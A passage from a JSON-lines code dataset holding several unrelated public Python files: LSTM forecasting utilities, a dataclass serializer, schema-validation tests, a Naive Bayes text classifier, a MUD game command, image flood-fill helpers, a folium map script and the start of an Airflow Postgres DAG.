batch_input_shape=(n_forcast_batch, param.n_seq_steps, param.n_features), \n stateful=param.b_stateful,\n return_sequences=True))\n new_model.add(LSTM(param.n_neurons, \n stateful=param.b_stateful,\n )) \n new_model.add(Dense(param.n_pre_steps, activation='linear'))\n # copy weights\n\n new_model.set_weights(old_weights)\n # compile model\n new_model.compile(loss='mean_squared_error', optimizer='adam')\n return new_model\n\n\n# make one forecast with an LSTM\ndef forecast_lstm(model, X, param, verbose=False):\n if verbose:\n print(\"X shape in forcast: \" , X.shape)\n \n # reshape input pattern to [samples, timesteps, features]\n X = X.reshape(param.forcast_batch_size, param.n_seq_steps, param.n_features)\n # make forecast\n forecast = model.predict(X, batch_size= param.forcast_batch_size)\n # convert to array\n \n if verbose:\n print(\"forecast shape in forcast : \" , forecast.shape)\n\n return forecast\n\n\n\ndef make_forecasts(model, test_X, param, verbose=False):\n \"\"\"\n A main function for a forcast\n \"\"\"\n forecasts = list()\n for i in range(0, len(test_X), param.forcast_batch_size): \n X = test_X[i:i + param.forcast_batch_size]\n if verbose:\n print(\"shape of X: \\n\", X.shape)\n \n forecast = forecast_lstm(model, X, param, verbose)\n \n if verbose:\n print(\"shape of forecast: \\n\", forecast.shape)\n \n \n forecasts.append(forecast)\n return forecasts\n \n\nfrom sklearn.metrics import mean_squared_error\ndef evaluate_mse(true_value, predict, verbose=False):\n \"\"\"\n evaluate mse\n \"\"\"\n mse = mean_squared_error(true_value, predict)\n return mse\n\nimport numpy as np\ndef invert_scale(scaler, yhat, verbose=False):\n \"\"\"\n Invert only one feature\n \"\"\"\n output_item = np.array(yhat).reshape(1,1)\n invert_output = scaler.inverse_transform(output_item)\n invert_output = np.squeeze(invert_output)\n return invert_output\n\n\n\ndef convert_prediction(scaler, output, param, verbose=True):\n \"\"\"\n Invert to an unscaled prediction\n \"\"\"\n prediction_list = list()\n prediction_step_list = list()\n \n for i in range(param.n_pre_steps):\n for j in range(len(output)):\n output_item = output[j,i]\n invert_output = invert_scale(scaler, output_item, verbose=False)\n prediction_step_list.append(invert_output)\n prediction_list.append(prediction_step_list)\n prediction_step_list = list()\n \n prediction_list = np.array(prediction_list)\n prediction_list = prediction_list.reshape(prediction_list.shape[1], prediction_list.shape[0])\n \n return prediction_list \n \nfrom math import sqrt\nfrom numpy import concatenate\n\ndef get_inv_y(y, x_features, scaler):\n \"\"\"\n Compute an inverted y with a scaled y and X features using a scaler\n \"\"\"\n y_x_features = concatenate((y, x_features), axis=1)\n inv_y_x_features = scaler.inverse_transform(y_x_features)\n inv_y = inv_y_x_features[:,0]\n return inv_y\ndef compute_rmse(yhat, test_y, x_features, scaler):\n \"\"\"\n Compute rmse\n \"\"\"\n #print(\"yhat: {}, x_features: {}\".format(yhat.shape, x_features.shape))\n inv_yhat = get_inv_y(yhat, x_features, scaler)\n inv_y = get_inv_y(test_y, x_features, scaler)\n #print(\"inv_y: {}\".format(inv_y))\n # calculate RMSE\n rmse = sqrt(mean_squared_error(inv_y, inv_yhat))\n print('Test RMSE: %.3f' % rmse)## Test RMSE: 26.303 \n return rmse\n\ndef compute_all_rmse(yhat, test_y, test_X, scaler, param):\n \"\"\"\n This function is not used but it is defined to compute all rmse for future use\n \"\"\"\n \n list_rmse = list()\n test_X1 = test_X.reshape((test_X.shape[0], param.n_lags * param.n_features))\n x_features = test_X1[:,1:2]\n print(\"x_features shape: \", x_features.shape)\n \n for i in range(yhat.shape[1]): # number of pre-steps\n print(i)\n yhat_item = yhat[:,i]\n yhat_item = yhat_item.reshape((len(yhat_item), 1))\n test_y_item = test_y[:,i]\n test_y_item = test_y_item.reshape((len(test_y_item), 1)) \n rmse = compute_rmse(yhat_item, test_y_item, x_features, scaler)\n list_rmse.append(rmse)\n\n return list_rmse \n \ndef invert_y(yhat, test_X, scaler, param, verbose=False):\n \"\"\"\n A main function to get an unscaled y\n \"\"\"\n prediction_list = list()\n test_X1 = test_X.reshape((test_X.shape[0], param.n_lags * param.n_features))\n x_features = test_X1[:,1:2]\n #print(\"x_features shape: \", x_features.shape)\n \n for i in range(yhat.shape[1]): # number of pre-steps\n yhat_item = yhat[:,i]\n yhat_item = yhat_item.reshape((len(yhat_item), 1))\n inv_yhat = get_inv_y(yhat_item, x_features, scaler)\n prediction_list.append(inv_yhat) \n \n #print(prediction_list)\n \n return prediction_list\n\nimport math\ndef predict2(old_weights, param, scaler, x_data_scale, y_data_scale, verbose=False ):\n \"\"\"\n multiple feature function\n \"\"\"\n forcast_model = get_forcast_lstm2(old_weights, param) # Retrieve stacked lstm model\n \n forecasts_scale = make_forecasts(forcast_model, x_data_scale, param, verbose=False)\n # convert to np array\n forecasts_scale_np = np.array(forecasts_scale)\n # convert to 2d from 3d\n forcast_row_shape = forecasts_scale_np.shape[0] * forecasts_scale_np.shape[1]\n forcast_col_shape = forecasts_scale_np.shape[2]\n forecasts_scale_2d_np = forecasts_scale_np.reshape(forcast_row_shape, forcast_col_shape)\n\n # invert to an original\n predictions = invert_y(forecasts_scale_2d_np, x_data_scale, scaler, param, verbose=True)\n predictions = np.array(predictions).T\n inv_y = invert_y(y_data_scale, x_data_scale, scaler, param, verbose=True)\n inv_y = np.array(inv_y).T\n \n #print(predictions)\n print(\"type predictions: {}\".format(type(predictions)))\n print(\"Shape of predictions: \\n\", predictions.shape)\n \n\n \n test_idx_list = make_mul_index(mul= param.n_pre_steps, lens = len(predictions))\n\n unique_predict = predictions[test_idx_list]\n unique_predict_vector = unique_predict.reshape(-1,1)\n unique_inv_y = inv_y[test_idx_list]\n unique_inv_y_vector = unique_inv_y.reshape(-1,1)\n\n if verbose:\n print(\"Shape of forecasts_scale: \",len(forecasts_scale)) \n print(\"Shape of forecasts_scale_np: \", forecasts_scale_np.shape) \n print(\"Shape of forecasts_scale_2d_np: \", forecasts_scale_2d_np.shape)\n print(\"Shape of predictions: \\n\", predictions.shape)\n print(\"Shape of unique_predict: \\n\", unique_predict.shape) \n print(\"Shape of unique_predict_vector: \\n\", unique_predict_vector.shape) \n print(\"Shape of inv_y: \", inv_y.shape) \n print(\"forecasts_scale_2d_np: \", forecasts_scale_2d_np[0:8]) \n print(\"predictions: \\n\",predictions[0:8])\n\n\n mse = evaluate_mse(unique_inv_y_vector, unique_predict_vector, verbose=False)\n rmse = math.sqrt(mse)\n print('TEST RMSE: %.3f' % (rmse))\n \n \n \n return rmse, unique_predict_vector, unique_inv_y_vector\n\n\ndef predict(old_weights, param, scaler, x_data_scale, y_data_true, verbose=False ):\n \"\"\"\n predict a model on which one feature is used for training\n \"\"\"\n \n #forcast_model = get_forcast_lstm(old_weights, param)\n \n forcast_model = get_forcast_lstm2(old_weights, param) # Retrieve stacked lstm model\n \n forecasts_scale = make_forecasts(forcast_model, x_data_scale, param, verbose=False)\n # convert to np array\n forecasts_scale_np = np.array(forecasts_scale)\n # convert to 2d from 3d\n forcast_row_shape = forecasts_scale_np.shape[0] * forecasts_scale_np.shape[1]\n forcast_col_shape = forecasts_scale_np.shape[2]\n forecasts_scale_2d_np = forecasts_scale_np.reshape(forcast_row_shape, forcast_col_shape)\n\n predictions = convert_prediction(scaler, forecasts_scale_2d_np, param, verbose=True)\n test_idx_list = make_mul_index(mul= param.n_pre_steps, lens = len(predictions))\n\n unique_predict = predictions[test_idx_list]\n unique_predict_vector = unique_predict.reshape(-1,1)\n\n if verbose:\n print(\"Shape of forecasts_scale: \",len(forecasts_scale)) \n print(\"Shape of forecasts_scale_np: \", forecasts_scale_np.shape) \n print(\"Shape of forecasts_scale_2d_np: \", forecasts_scale_2d_np.shape)\n print(\"Shape of predictions: \\n\", predictions.shape)\n print(\"Shape of unique_predict: \\n\", unique_predict.shape) \n print(\"Shape of unique_predict_vector: \\n\", unique_predict_vector.shape) \n print(\"Shape of y_data_true: \", y_data_true.shape) \n #print(\"forecasts_scale_2d_np: \", forecasts_scale_2d_np[0:8]) \n #print(\"predictions: \\n\",predictions[0:8])\n\n mse = evaluate_mse(y_data_true, unique_predict_vector, verbose=False)\n rmse = math.sqrt(mse)\n print('TEST RMSE: %.3f' % (rmse))\n \n return rmse, unique_predict_vector\n \ndef make_mul_index(mul, lens):\n \"\"\"\n Get a multiple of a number\n \"\"\"\n idx_list = list()\n serial = 0 ; idx =0\n while idx < lens:\n idx_list.append(idx)\n serial += 1\n idx = serial * mul\n \n return idx_list \n \n \n# Evaluate given a data set\ndef evaluate(title, old_weights, param, scaler, x_data_scale, y_data_raw, verbose=False):\n \"\"\"\n predict and show a chart with an observation\n \"\"\"\n \n rmse, prediction = predict(old_weights, param,scaler, x_data_scale, y_data_raw, verbose= verbose ) \n\n display_obs_pred(title, rmse, param, y_data_raw, prediction, x_data_scale)\n \ndef evaluate_with_model2(title, model, param, scaler, x_data_scale, y_data_scale, verbose=False):\n model_weights = model.get_weights()\n \n rmse, inv_y_predict, inv_y_true = predict2(model_weights, param,scaler, x_data_scale, y_data_scale, verbose= verbose ) \n\n display_obs_pred(title, rmse, param, inv_y_predict, inv_y_true, x_data_scale)\n\ndef evaluate_with_model(title, model, param, scaler, x_data_scale, y_data_raw, verbose=False):\n \"\"\"\n With a model passed, evaluate it\n \"\"\"\n model_weights = model.get_weights()\n \n rmse, prediction = predict(model_weights, param,scaler, x_data_scale, y_data_raw, verbose= verbose ) \n\n display_obs_pred(title, rmse, param, y_data_raw, prediction, x_data_scale) \n\n\n# Display observation and prediction \nimport matplotlib.pyplot as plt\nimport seaborn;seaborn.set()\nplt.rcParams[\"figure.figsize\"] = [12, 4]\n\ndef display_obs_pred(title, best_error_score, param, y_test_true, best_predictions, x_train_scale,TEST_SIZE=0):\n \"\"\"\n show a chart with an observation and prediction\n \"\"\"\n plt.title(title + \n \" Prediction Quality: {:.2f} RMSE with {} lags, {} pre-steps, {} seq-steps, {} features, {} batch_size, {} neurons \\n \\\n State: {}, Shuffle: {} \\\n Train size: {}, \\\n Test size:{} hours\".\n format(best_error_score, param.n_lags, param.n_pre_steps, param.n_seq_steps,param.n_features, param.batch_size, param.n_neurons,\n param.b_stateful, param.b_shuffle,\n len(x_train_scale), TEST_SIZE))\n plt.plot(y_test_true, label = 'Observed', color='#006699')\n plt.plot(best_predictions, label='Prediction', color='#ff0066')\n plt.legend(loc='best')\n plt.show()\n ","repo_name":"gonsoomoon/RNN","sub_path":"time-series-prediction/util/fresh_prediction.py","file_name":"fresh_prediction.py","file_ext":"py","file_size_in_byte":18555,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"11350354468","text":"\"\"\"A module with `DictModel` -- Serious model to transform between dataclasses and dictionaries.\"\"\"\nfrom __future__ import annotations\n\n__all__ = ['DictModel']\n\nfrom typing import TypeVar, Type, Generic, List, Collection, Dict, Iterable, Any, Union\n\nfrom serious.descriptors import describe, TypeDescriptor\nfrom serious.serialization import FieldSerializer, SeriousModel, field_serializers\nfrom serious.utils import class_path\n\nT = TypeVar('T')\n\n\nclass DictModel(Generic[T]):\n \"\"\"A model converting dataclasses to dicts and back.\n\n\n :Example:\n\n from uuid import UUID\n from dataclasses import dataclass\n from serious import DictModel\n\n @dataclass\n class Robot:\n serial: UUID\n name: str\n\n >>> model = DictModel(Robot)\n >>> model.load({'serial': 'f3179d05-30f6-43ba-b6cb-7556af09330b', 'name': 'Caliban'})\n Robot(serial=UUID('f3179d05-30f6-43ba-b6cb-7556af09330b'), name='Caliban')\n >>> model.dump(Robot(UUID('00000000-0000-4000-0000-000002716057'), 'Bender'))\n {'serial': '00000000-0000-4000-0000-000002716057', 'name': 'Bender'}\n\n Check `__init__` parameters for a list of configuration options.\n\n `More on models in docs `_.\n \"\"\"\n descriptor: TypeDescriptor\n serious_model: SeriousModel\n\n def __init__(\n self,\n cls: Type[T],\n serializers: Iterable[Type[FieldSerializer]] = field_serializers(),\n *,\n allow_any: bool = False,\n allow_missing: bool = False,\n allow_unexpected: bool = False,\n validate_on_load: bool = True,\n validate_on_dump: bool = False,\n ensure_frozen: Union[bool, Iterable[Type]] = False,\n ):\n \"\"\"Initialize a dictionary model.\n\n :param cls: the dataclass type to load/dump.\n :param serializers: field serializer classes in an order they will be tested for fitness for each field.\n :param allow_any: `False` to raise if the model contains fields annotated with `Any`\n (this includes generics like `List[Any]`, or simply `list`).\n :param allow_missing: `False` to raise during load if data is missing the optional fields.\n :param allow_unexpected: `False` to raise during load if data contains some unknown fields.\n :param validate_on_load: to call dataclass `__validate__` method after object construction.\n :param validate_on_dump: to call object `__validate__` before dumping.\n :param ensure_frozen: `False` to skip check of model immutability; `True` will perform the check\n against built-in immutable types; a list of custom immutable types is added to built-ins.\n \"\"\"\n self.cls = cls\n self.descriptor = describe(cls)\n self.serious_model = SeriousModel(\n self.descriptor,\n serializers,\n allow_any=allow_any,\n allow_missing=allow_missing,\n allow_unexpected=allow_unexpected,\n validate_on_load=validate_on_load,\n validate_on_dump=validate_on_dump,\n ensure_frozen=ensure_frozen,\n )\n\n def load(self, data: Dict[str, Any]) -> T:\n \"\"\"Load dataclass from a dictionary.\"\"\"\n return self.serious_model.load(data)\n\n def load_many(self, items: Iterable[Dict[str, Any]]) -> List[T]:\n \"\"\"Load a list of dataclasses from a dictionary.\"\"\"\n return [self.load(each) for each in items]\n\n def dump(self, o: T) -> Dict[str, Any]:\n \"\"\"Dump a dataclasses to a dictionary.\"\"\"\n return self.serious_model.dump(o)\n\n def dump_many(self, items: Collection[T]) -> List[Dict[str, Any]]:\n \"\"\"Dump a list dataclasses to a dictionary.\"\"\"\n return [self.dump(o) for o in items]\n\n def __repr__(self):\n path = class_path(type(self))\n if path == 'serious.dict.model.DictModel':\n path = 'serious.DictModel'\n return f'<{path}[{class_path(self.cls)}] at {hex(id(self))}>'\n","repo_name":"mdrachuk/serious","sub_path":"serious/dict/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"3402633874","text":"import unittest\nimport copy\nfrom helpers import get_json_object\nfrom jsonschema import validate\nfrom jsonschema.exceptions import ValidationError\nfrom schemas import ASSESSMENT_SEARCH_RESPONSE_SCHEMA\nfrom schema_definitions import ASSESSMENT\n\n\nclass AssessmentSearchResponse(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.response_json = get_json_object(\n \"fixtures/search_response.json\")\n\n def test_json_data_validation(self):\n \"\"\"Verify JSON data against a schema\"\"\"\n schema = ASSESSMENT_SEARCH_RESPONSE_SCHEMA\n validate(instance=self.response_json, schema=schema)\n\n def test_json_assessment_id_202089(self):\n \"\"\"Validate all fields for assessment with matching id\"\"\"\n validate_test_id = []\n\n for assessment in self.response_json[\"data\"][\"AssessmentSearch\"]:\n if assessment[\"assessment_id\"] == 202089:\n validate_test_id.append(assessment)\n validate(instance=assessment, schema=ASSESSMENT)\n\n self.assertEqual(len(validate_test_id), 1)\n\n\nclass RainyDaySearchResponse(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n cls.response_json = get_json_object(\n \"fixtures/search_response.json\")\n\n def setUp(self):\n self.schema = copy.deepcopy(ASSESSMENT_SEARCH_RESPONSE_SCHEMA)\n\n def result_validator(self, altered_schema: dict):\n error = False\n\n try:\n validate(instance=self.response_json, schema=altered_schema)\n except ValidationError:\n error = True\n\n self.assertTrue(error)\n\n def test_json_assessment_title_length_restriction(self):\n \"\"\"Altering schema to show edge case testing.\n Update custom schema to expect untouched response data to have smaller title length.\n \"\"\"\n self.schema[\"definitions\"][\"assessment\"][\"properties\"][\"assessment_title\"] = {\n \"type\": \"string\", \"maxLength\": 10\n }\n self.result_validator(self.schema)\n\n def test_json_assessment_title_regex(self):\n \"\"\"Altering schema to show edge case testing.\n Update custom schema to expect untouched response data to match a pattern.\n \"\"\"\n self.schema[\"definitions\"][\"assessment\"][\"properties\"][\"assessment_title\"] = {\n \"type\": \"string\", \"pattern\": \"^[a-zA-Z]+$\"\n }\n self.result_validator(self.schema)\n\n def test_json_assessment_type_change(self):\n \"\"\"Altering schema to show edge case testing.\n Update custom schema to expect untouched response data to have different type.\n \"\"\"\n self.schema[\"definitions\"][\"assessment\"][\"properties\"][\"assessment_type\"] = {\n \"type\": \"string\"\n }\n self.result_validator(self.schema)\n\n def test_json_assessment_type_range(self):\n \"\"\"Altering schema to show edge case testing.\n Update custom schema to expect untouched response data to be out of range.\n \"\"\"\n self.schema[\"definitions\"][\"assessment\"][\"properties\"][\"assessment_type\"] = {\n \"type\": \"number\", \"maximum\": 1\n }\n self.result_validator(self.schema)\n\n def test_json_district_id_type(self):\n \"\"\"Altering schema to show edge case testing.\n Update custom schema to expect untouched response data to be a string.\n \"\"\"\n self.schema[\"definitions\"][\"assessment\"][\"properties\"][\"district_id\"] = {\n \"type\": \"string\"\n }\n self.result_validator(self.schema)\n\n def test_json_district_id_maximum(self):\n \"\"\"Altering schema to show edge case testing.\n Update custom schema to expect untouched response data to be a maxium of 1.\n \"\"\"\n self.schema[\"definitions\"][\"assessment\"][\"properties\"][\"district_id\"] = {\n \"type\": \"number\", \"maximum\": 900\n }\n self.result_validator(self.schema)\n","repo_name":"kawikabrennan/otus-integration-test","sub_path":"test_search_response.py","file_name":"test_search_response.py","file_ext":"py","file_size_in_byte":3876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18006183808","text":"import io\nfrom glob import glob\nfrom os.path import basename, splitext\n\nfrom setuptools import find_packages, setup\n\n\n# Read in the README for the long description on PyPI\ndef long_description():\n\twith io.open('README.md', 'r', encoding='utf-8') as f:\n\t\treadme = f.read()\n\treturn readme\n\n\nsetup(\n\tname=\"DHpyutils\",\n\tversion=\"0.0.8\",\n\tlong_description=long_description(),\n\turl=\"https://github.com/skdkfk8758/C-PyUtils.git\",\n\tauthor=\"CarpDm\",\n\tauthor_email=\"skdkfk8758@gmail.com\",\n\tlicense=\"CarpDm\",\n\tpackages=find_packages(where='src'),\n\tpackage_dir={'': 'src'},\n\tpy_modules=[splitext(basename(path))[0] for path in glob('src/*.py')],\n\tinstall_requires=[\n\n\t]\n)\n","repo_name":"skdkfk8758/C-PyUtils","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70339622614","text":"from typing import List\n\n\ndef sortArrayByParity(A: List[int]) -> List[int]:\n left = 0\n right = len(A) - 1\n\n while left < right:\n while left < len(A) and A[left] % 2 == 0:\n left += 1\n while right > 0 and A[right] % 2 == 1:\n right -= 1\n if left < right:\n A[left], A[right] = A[right], A[left]\n\n return A\n\n\nif __name__ == '__main__':\n a = [3, 1, 2, 4]\n print(sortArrayByParity(a))\n","repo_name":"bchiud/leetPy","sub_path":"sort_array_by_parity.py","file_name":"sort_array_by_parity.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27006305184","text":"import functools\n\n# phone = \" +38(050)123-32-34\"\n# phone = \" 0503451234\"\n# phone = \"(050)8889900\"\n# phone = \"38050-111-22-22\"\nphone = \"38050 111 22 11 \"\n\n\ndef format_phone_number(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n res = func(*args, **kwargs)\n if len(res) < 12:\n prefix = \"+38\"\n else:\n prefix = \"+\"\n res = prefix + res\n return res\n\n return wrapper\n\n\n@format_phone_number\ndef sanitize_phone_number(phone):\n new_phone = (\n phone.strip()\n .removeprefix(\"+\")\n .replace(\"(\", \"\")\n .replace(\")\", \"\")\n .replace(\"-\", \"\")\n .replace(\" \", \"\")\n )\n return new_phone\n\n\nprint(sanitize_phone_number(phone))\n","repo_name":"GoIT-Python/goit-python-setup","sub_path":"module-9/task5/task5.py","file_name":"task5.py","file_ext":"py","file_size_in_byte":743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10858154483","text":"NAME = \"break item\"\nCATEGORIES = [\"items\"]\nALIASES = [\"delete item\", \"destroy item\", \"remove item\"]\nUSAGE = \"break item \"\nDESCRIPTION = \"\"\"Break the item in your inventory with ID .\n\nYou must own the item and it must be in your inventory in order to break it.\nWizards can break any item from anywhere.\n\nEx. `break item 4` to break the item with ID 4.\"\"\"\n\n\ndef COMMAND(console, args):\n # Perform initial checks.\n if not COMMON.check(NAME, console, args, argc=1):\n return False\n\n # Perform argument type checks and casts.\n itemid = COMMON.check_argtypes(NAME, console, args, checks=[[0, int]], retargs=0)\n if itemid is None:\n return False\n\n # Lookup the target item and perform item checks.\n thisitem = COMMON.check_item(NAME, console, itemid, owner=True, holding=True)\n if not thisitem:\n return False\n\n # Delete the item from the database.\n console.database.delete_item(thisitem)\n\n # The item is duplified, so start by deleting it from every user's inventory.\n if thisitem[\"duplified\"]:\n for user in console.router.users.values():\n try: # Trap to catch a rare crash\n if itemid in user[\"console\"].user[\"inventory\"]:\n user[\"console\"].user[\"inventory\"].remove(itemid)\n user[\"console\"].msg(\"{0} vanished from your inventory.\".format(thisitem[\"name\"]))\n console.database.upsert_user(user[\"console\"].user)\n except:\n with open('break_item_trap.txt', 'w') as file:\n file.write(\"itemid: {0}, u: {1}\".format(str(itemid), user))\n file.write(\"console: {0}\".format(user[\"console\"]))\n file.write(\"user: {0}\".format(user[\"console\"].user))\n\n # If the item is duplified or we are a wizard, check all rooms for the presence of the item, and delete.\n if thisitem[\"duplified\"] or console.user[\"wizard\"]:\n for room in console.database.rooms.all():\n if itemid in room[\"items\"]:\n room[\"items\"].remove(itemid)\n console.database.upsert_room(room)\n\n # It's still in our inventory, so it must not have been duplified. Delete it from our inventory now.\n if itemid in console.user[\"inventory\"] and not thisitem[\"duplified\"]:\n console.user[\"inventory\"].remove(itemid)\n console.msg(\"{0} vanished from your inventory.\".format(thisitem[\"name\"]))\n console.database.upsert_user(console.user)\n\n # Finished.\n console.msg(\"{0}: Done.\".format(NAME))\n return True\n\n","repo_name":"seisatsu/DennisMUD","sub_path":"commands/break_item.py","file_name":"break_item.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"67"} +{"seq_id":"16792463812","text":"import sys\nimport os\nimport re\nimport math\n\ntest_folder = sys.argv[1]\n\nmodelfile = open('nbmodel.txt' , 'r')\n\nmodel = {}\n\n\nfor line in modelfile:\n if re.search ('\\t' , line):\n features = line.strip().split('\\t')\n model[features[0]] = [float(features[1]), float(features[2]), float(features[3]), float(features[4])]\n\n \n\noutput = open ('nboutput.txt' , 'w')\n\nfor subfolder in os.listdir(test_folder):\n if(os.path.isdir(test_folder + '/' + subfolder)):\n for items in os.listdir(test_folder + '/' + subfolder):\n for fold in os.listdir(test_folder + '/' + subfolder + '/' + items):\n for file in os.listdir(test_folder + '/' + subfolder + '/' + items + '/' + fold):\n \n negative = math.log(0.5)\n positive = math.log(0.5)\n truthful = math.log(0.5)\n deceptive = math.log(0.5)\n \"\"\"\n nt = math.log(0.25)\n pt = math.log(0.25)\n nd = math.log(0.25)\n pd = math.log(0.25)\n \"\"\"\n data = open(test_folder + '/' + subfolder + '/' + items + '/' + fold + '/' + file , 'r')\n for line in data:\n line = re.sub('[^A-Za-z0-9]+', ' ', line)\n for word in line.split():\n word = word.lower()\n if word in model:\n \n negative += math.log(model[word][0])\n positive += math.log(model[word][1])\n truthful += math.log(model[word][2])\n deceptive += math.log(model[word][3])\n \n labela = 'truthful'\n labelb = 'positive'\n if(negative > positive):\n labelb = \"negative\"\n if(deceptive > truthful):\n labela = \"deceptive\"\n \n output.write(labela + \" \" + labelb + \" \" + test_folder + '/' + subfolder + '/' + items + '/' + fold + '/' + file + '\\n')\n \n \noutput.close()","repo_name":"XL96/NLP_projects","sub_path":"naive_bayes/nbclassify.py","file_name":"nbclassify.py","file_ext":"py","file_size_in_byte":2301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22546260904","text":"\nimport sys\n\nnodes = set([])\nencoding = {}\n\nfor line in sys.stdin:\n\t\n\tif 'tag pairs appended' in line or 'sorting raw tag' in line or 'tag pairs proccessed' in line or 'corpus.' in line:\n\t\tcontinue\n\n\n\tline_s = line.split()\n\tsrc, dst = line_s[0], line_s[1]\n\n\tif not src in nodes:\n\t\tnodes.add(src)\n\t\tsrc_cod = len(encoding)\n\t\tencoding[src] = src_cod\n\telse:\n\t\tsrc_cod = encoding[src]\t\t\n\t\t\n\tif not dst in nodes:\n\t\tnodes.add(dst)\n\t\tdst_cod = len(encoding)\n\t\tencoding[dst] = dst_cod\n\telse:\n\t\tdst_cod = encoding[dst]\t\t\n\t\nfor data, cod in encoding.iteritems():\n\tsys.stdout.write('%d\\t%s\\n' % (cod, data) )\n\t\n\n","repo_name":"therm000/rankbytags","sub_path":"src/save_encode.py","file_name":"save_encode.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"70024330135","text":"import numpy as np\nimport cv2\nimport Utils\nimport os\ndef crop(img,pos):\n x,y = img.shape[:2]\n crop_img = img[pos[0]:x-pos[1],pos[2]:y-pos[2]]\n return crop_img\n\ndef mkborder(img):\n borderType = cv2.BORDER_CONSTANT\n shape = img.shape\n top = int(0.05 * shape[0]) # shape[0] = rows\n bottom = top\n left = int(0.05 * shape[1]) # shape[1] = cols\n right = left\n\n dst = cv2.copyMakeBorder(img, top, bottom, left, right, borderType, None, [0,0,0])\n return dst , (top,bottom,left,right)\n\ndef multiFill(img):\n top = img.copy()\n x,y = img.shape[:2]\n bottom = img.copy()\n left = img.copy()\n right = img.copy()\n\n top[0, :] = 255\n bottom[x-1, :] = 255\n left[:, 0] = 255\n right[:, y-1] = 255\n top = fillandcrop(top)\n bottom = fillandcrop(bottom)\n left = fillandcrop(left)\n right = fillandcrop(right)\n o1 = cv2.bitwise_and(top,bottom)\n o2 = cv2.bitwise_and(left,right)\n o3 = cv2.bitwise_and(fillandcrop(o1),fillandcrop(o2))\n rValue = cv2.erode(o3,Utils.getKernel((3,3)))\n rValue = cv2.dilate(rValue,Utils.getKernel((3,3)))\n\n return rValue\n\ndef fillandcrop(img):\n rImg, pos = mkborder(img)\n rImg = fill(rImg)\n rImg = crop(rImg,pos)\n return rImg\n\ndef fill(img):\n # Copy the thresholded image.\n rValue = img.copy()\n\n h, w = img.shape[:2]\n mask = np.zeros((h + 2, w + 2), np.uint8)\n\n # Floodfill from point (0, 0)\n cv2.floodFill(rValue, mask, (0, 0), (255,255,255))\n\n return rValue","repo_name":"gcalazansdm/AMRObjectDetection","sub_path":"Utils/Fill.py","file_name":"Fill.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72122566293","text":"import folium\nimport pandas\n\n# creating pandas data frame from txt file\ndf = pandas.read_csv('.\\\\Maps with Folium\\\\Volcanoes-USA.txt')\n\n# creating map\n# finding the center location for the map using the values from the input file\n# it's equal to average latitude and average longitude\nmap = folium.Map(location=[df['LAT'].mean(), df['LON'].mean()], tiles='stamen terrain', zoom_start=4)\n\n\n# assinging coordinates, elevation and names from the data frame\n# marker color depends on the elevation\n\ndef color(elev):\n minimum = int(min(df['ELEV']))\n maximum = int(max(df['ELEV']))\n step = int((maximum - minimum) / 3)\n\n if elev in range(minimum, minimum + step):\n col = 'green'\n elif elev in range(minimum + step, minimum + step + step):\n col = 'orange'\n else:\n col = 'red'\n return col\n\n\nfor lon, lat, name, elev in zip(df['LON'], df['LAT'], df['NAME'], df['ELEV']):\n map.add_child(folium.Marker(location=[lat, lon], popup=name, icon=folium.Icon(color=color(elev))))\n\n# saving map\nmap.save('.\\\\Maps with Folium\\\\Volcanoes-USA.html')\n","repo_name":"joszko/Python-Traning","sub_path":"Maps with Folium/Map with markers from txt file.py","file_name":"Map with markers from txt file.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26806981415","text":"\"\"\"\nTest DAG to check connection to a postgres database\nand load data into postgres\n\"\"\"\nimport datetime as dt\n\nfrom airflow.providers.postgres.operators.postgres import PostgresOperator\n\nfrom utils.connectors import execute_query_postgres\nfrom utils.db_check import column_list, db_check_table\n\nfrom airflow import DAG\n\nfrom airflow.operators.python import PythonOperator\n\n# define variables\n# please setup a connection named postgres_dwh to the postgres db to be used\npostgres_conn_id = \"postgres_dwh\"\n\ntable_name = \"db_check\"\ntemp_table = db_check_table(\"airflow_temp\", table_name, column_list)\n\n\nwith DAG(\n 'etl_db_check',\n default_args={'retries': 2},\n description='Test DAG to connect to postgres',\n schedule_interval=None,\n start_date=dt.datetime(2023, 1, 1),\n catchup=False,\n tags=['test'],\n) as dag:\n\n def get_sample_data():\n return (\"10102\", 3874)\n\n task_create_temp_schema = PostgresOperator(\n task_id=\"create_temp_schema\",\n postgres_conn_id=postgres_conn_id,\n sql=temp_table.query_create_schema(),\n )\n\n task_drop_temp_table = PostgresOperator(\n task_id=\"drop_temp_table\",\n postgres_conn_id=postgres_conn_id,\n sql=temp_table.query_drop_table(),\n )\n\n task_create_temp_table = PostgresOperator(\n task_id=\"create_temp_table\",\n postgres_conn_id=postgres_conn_id,\n sql=temp_table.query_create_table(),\n )\n\n # This task uses execute_query_postgres() function because\n # a returned value is required\n task_count_rows_before = PythonOperator(\n task_id=\"count_rows_before\",\n python_callable=execute_query_postgres,\n op_kwargs={\n \"conn_id\": postgres_conn_id,\n \"query_str\": temp_table.query_count_rows(),\n \"print_results\": True,\n }\n )\n\n 